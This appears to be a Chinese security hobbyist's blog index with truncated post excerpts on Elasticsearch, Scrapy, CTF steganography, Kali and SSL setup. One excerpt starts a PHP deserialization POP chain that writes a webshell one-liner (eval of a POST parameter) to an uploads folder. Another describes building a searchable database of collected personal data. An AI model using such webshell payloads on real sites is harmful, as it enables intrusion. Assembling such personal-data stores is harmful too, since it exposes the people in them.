elasthicsearch 学习

杂项 运行环境 elasticsearch最低要求java 8环境 启动 cd elasticsearch-5.0.2/bin ./elasticsearch 或者制定集群和节点名 ./elasticsearch -Ecluster.name=my_cluster_name -Enode.name= ...

使用ELK搭建社工库

手里有一些平时收集的社工信息,想自己搭建一个小社工裤把数据用起来,考虑到检索速度问题,没有使用传统的数据库+web程序的模式,使用了一个开源的文本检索框架elasticstatic,简单记录一下搭建过程。 ELK Stack是elasticsearch、logstash、kibana是三个开源软件的组合。Logstash是一款开源的日志收集处理框架,负责数据的采集和格式化,搭建社工库用不到,不用关心。Elasticsearch是一个开源的分布式搜索引擎,用于数据的快速索引存储,用于存储社工库数据,Kibana负责提供web展示功能。 背景 ...

scrapy 学习

命令行 在想要创建项目的目录执行命令:scrapy startproject projectname 创建一个爬虫:scrapy genspider mydomain mydomain.com 执行爬虫:scrapy crawl dmoz shell:scrapy shell "http: ...

PHP反序列化

<?php class DemoPopChain{ private $data = '<?php @eval($_POST[\'Cknife\']);?>'; private $filename = './uploads/agppp. ...

ctf-图片隐写术

文件隐藏 常见文件头尾 jpg 文件头FFD8FFE0 文件尾FFD9 png 文件头89504E470D0A1A0A 文件尾AE426082 gif 文件头47494638 文件尾003B zip 文件头504B0304 文件尾 rar 文件头Rar! 文件尾 7zip 文件头7z集' 文件尾 ...

kali2017安装及使用

安装vmware tools kali2017安装vmtools之后无法使用,需要安装open-vm-tools,安装之前如果已经安装了vmtools的话,需要现将vmtools卸载,卸载方法为: cd /etc/vmtools ./install.sh uninstall 然后安装open-vm-tools,操作方法为: apt-get update apt-get install open-vm-tools-desktop ...

apache 开启https服务

1、修改php配置文件 在php.ini 中添加extension=php_openssl.dll 2、配置apache 修改httpd-ssl.conf 将DocumentRoot指向httpd.conf中的<Directory "XXXXX"> ...

java IO小记

java IO 类学习 java处理IO的类如下所示: 虽然书中对每个类都有解释,但是看完之后都很难记住这些到底都是做什么的,在这里就具体分析一下每个类究竟都做了什么。 一个简单的标准输入 下面是一段最基本的java输入处理代码,可以看到一共涉及了三个类,InputStream、InputStreamReader 和BufferedReader。 public static void main(String args[]) throws ...

nginx+apache配置ssl

在网上找了很多提供ssl证书的网站,配置起来都比较麻烦,因此使用Let’s Encrypt的免费证书,因为之前搭建服务器使用的是nginx+apache的结构,因此会把ssl配在nginx上。 首先需要在服务器上安装Let’s Encrypt客户端,安装方式如下: sudo apt-get update sudo apt-get -y install git ...

同时安装python2和python3

同时安装python2和python3 1、在官网下载python2和python3的安装包,并在本地进行安装 2、找到python2和python3的安装目录,修改python2和python3中python.exe和pythonw.exe的名称,分别改为为python2.exe、pythonw2.exe和python3.exe、pythonw3.exe 3、将python2x、python2x\Scripts、 ...